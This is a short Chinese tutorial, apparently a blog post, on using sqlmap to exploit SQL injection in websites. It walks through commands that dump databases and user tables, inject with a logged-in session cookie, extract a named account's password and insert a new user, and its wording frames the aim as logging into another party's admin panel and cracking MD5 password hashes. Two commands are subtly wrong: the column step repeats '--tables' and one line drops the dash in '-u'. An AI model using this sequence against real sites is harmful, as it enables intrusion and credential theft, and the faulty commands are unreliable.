摘要
sqlmap
是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL
注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
sqlmap
用于自动化检测和利用SQL
注入漏洞。它支持各种数据库系统,如MySQL、PostgreSQL、Oracle、Microsoft SQL Server
等。sqlmap
的功能不仅包括发现和利用SQL
注入漏洞,还可以帮助获取数据库中的数据、访问操作系统文件、执行操作系统命令等。
使用sqlmap
可以对一些网站进行安全漏洞的测试、查找漏洞,及时修复安全漏洞,确保服务器安全,数据安全,预防入侵。
安装sqlmap
你可以进入sqlmap
官网下载:https://sqlmap.org/
或者在github
下载:https://github.com/sqlmapproject/sqlmap/zipball/master
解压后就是一个python
程序目录,可以通过python
命令执行各项安全测试。
使用sqlmap
进入sqlmap的目录,在其目录栏输入cmd
即可进入命令行工具。
- 检测SQL注入点
即检测这个URL是否存在SQL注入漏洞
sqlmap -u 'http://xxx.com/?id=1'
- 获取数据库
检测到有注入点,就开始获取其数据库名称
sqlmap -u 'http://xxx.com/?id=1' --current-db
- 获取表
获取当前数据库下的所有表(例如第2步获取到的数据库名为testdb)
sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' --tables
- 获取字段
获取这个表的字段(例如users表)
sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --tables
- 获取数据
查看字段的数据,这里就可以看到账号密码之类的了,就可以随便登录后台,如果是使用了MD5加密的密码,还可通过解密方式获取到明文密码。
sqlmap -u 'http://xxx.com/?id=1' -D 'testdb' -T 'users' --dump
- 携带cookie进行注入
如果有些需要登录后才可以获取到的敏感数据,就需要携带cookie进行注入。
sqlmap u 'https://xxx.com/?id=1' --cookie='这里替换为登录后的cookie'
- 已知表名、用户名,查密码
如果你全都获取到,就差一个登录密码就可以进入对方管理后台,则可以:
sqlmap -u "https://xxx.com/?id=1" -D 数据库名称 -T 表名 -C "账号字段,密码字段" --dump --where="账号字段='账号'"
- 执行SQL语句
如果你已经确定URL有SQL注入漏洞,获取到数据库名、表名、字段名等关键信息,你就可以执行一些SQL语句去列出其表信息,或者是插入数据,例如创建一个用户的语句。
sqlmap -u 'https://xxx.com/?id=1' --sql-query="INSERT INTO users (username,password) VALUES ('test', '123456');"
总结
以上只是常见的sqlmap语句,你可以简单尝试一下初步学习,sqlmap的功能非常强大。
本文作者
TANKING